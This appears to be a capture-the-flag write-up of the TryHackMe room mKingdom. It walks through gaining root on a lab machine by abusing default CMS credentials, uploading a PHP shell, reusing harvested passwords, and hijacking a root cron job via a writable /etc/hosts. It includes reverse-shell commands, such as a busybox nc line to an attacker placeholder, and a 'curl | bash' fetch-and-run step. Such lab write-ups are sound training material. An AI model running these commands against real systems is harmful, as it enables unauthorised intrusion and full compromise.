mKingdom is an easy-difficulty TryHackMe room that emphasizes clear enumeration, lateral movement through multiple user accounts, and identifying critical system misconfigurations. The room showcases how a seemingly small error—a writable /etc/hosts file—can be leveraged to hijack internal communications and achieve full system compromise.
Key Techniques Covered:
Initial reconnaissance began with a high-speed port scan using rustscan to identify all open ports and services:
rustscan -a <target-ip> -- -A
Results:
[!NOTE] The web server is running on a non-standard port (85), which is the primary attack surface for this machine.
To map out the application's attack surface, I performed directory brute-forcing using feroxbuster:
feroxbuster -u http://<target-ip>:85 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x txt,zip,bak
Discovery:
/app (301)
Accessing http://<target-ip>:85/app/ reveals a CMS landing page.
The /app/ directory leads to a login panel for the Concrete5 CMS. Testing for default credentials proved successful:
adminpasswordThis grants full administrative access to the CMS dashboard.
With administrative access, the system's file upload restrictions can be modified to allow malicious scripts.
Enable PHP Uploads:
Navigate to: Dashboard → System & Settings → Allowed File Types.
Add php to the list of permitted extensions.

Upload Reverse Shell: Using a standard PHP reverse shell (e.g., Pentest Monkey), I uploaded the payload and started a listener on the attacker machine:
nc -lnvp 4444
Triggering Execution:
Accessing the uploaded file triggered the shell, granting initial access as the www-data user.
uid=33(www-data)
Shell Stabilization: I stabilized the shell using Python:
python3 -c 'import pty;pty.spawn("/bin/bash")'
As www-data, I attempted to access user home directories, but permissions were restricted:
/home/mario → Permission denied
/home/toad → Permission denied
Searching the application filesystem for sensitive files revealed plaintext credentials in a configuration file:
cat /var/www/html/app/castle/application/config/database.php
Credentials Discovered:
mKingdomtoadisthebestThe discovered password worked for the user toad.
su toad
# Password: toadisthebest
Running linpeas (or manually checking environment variables) revealed an encoded token stored in the environment:
PWD_token=aWthVGVOVEFOdEVTCg==
The token was encoded in Base64:
echo "aWthVGVOVEFOdEVTCg==" | base64 -d
Result: ikaTeNTANtES
The decoded token provided the password for the user mario.
su mario
# Password: ikaTeNTANtES
Checking sudo permissions for mario revealed:
sudo -l
# (ALL) /usr/bin/id
Analysis:
/usr/bin/id.However, I could still use this to read the user flag by piping the execution:
mario@mkingdom:~$ sudo /usr/bin/id | less /home/mario/user.txt
User Flag: thm{REDACTED}
Using a process monitoring tool like pspy, I discovered a recurring task executed by root:
curl mkingdom.thm:85/app/castle/application/counter.sh | bash
Key Observation:
mkingdom.thm) to fetch a script via HTTP.bash.I checked the permissions of the hosts file and found it was writable by the user mario:
ls -lah /etc/hosts
# -rw-rw-r-- 1 root mario /etc/hosts
By modifying the hosts file, I could redirect the root user's curl request to my own attacker machine.
Edit /etc/hosts and point mkingdom.thm to your attacker IP:
nano /etc/hosts
# Change: 127.0.0.1 mkingdom.thm → <ATTACKER_IP> mkingdom.thm
On the attacker machine, I setup the expected directory structure and the malicious script:
Create directories:
mkdir -p app/castle/application
cd app/castle/application
Create Malicious Script (counter.sh):
echo "busybox nc <attacker-ip> 4444 -e /bin/bash" > counter.sh
Start Web Server: I started a Python HTTP server in the root of the "app" structure:
cd ~/app
python3 -m http.server 85
Start Listener:
nc -lnvp 4444
When the cron job next executed, it fetched the malicious script from my server and executed it as root, providing a reverse shell.
Upon gaining the root shell, I attempted to read the root flag:
cat /root/root.txt
# cat root.txt → Permission denied
Even as root, the standard cat command failed. My enumeration revealed that /bin/cat was a modified SUID binary owned by toad.
/bin/cat → SUID → owned by toad
To read the flag, I bypassed the restricted cat binary by using Busybox:
/bin/busybox cat /root/root.txt
Root Flag: thm{REDACTED}
For a quick reference, here is the complete exploitation path followed:
/app: Discovered the hidden CMS directory.admin:password).www-data.toadisthebest) from the application config.toad using password reuse.mario./etc/hosts file to redirect the hostname to an attacker-controlled machine.cat binary using busybox to read the final flag./etc/hosts file is a high-severity misconfiguration that allows an attacker to intercept or redirect internal traffic, especially dangerous when scripts are fetched via hostnames.cat can be modified to enforce arbitrary restrictions. Always check for alternate binaries (e.g., busybox, perl, python) to read files when the defaults are restricted.database.php, config.json) as they often contain plaintext credentials or tokens for other system users.Happy Hacking!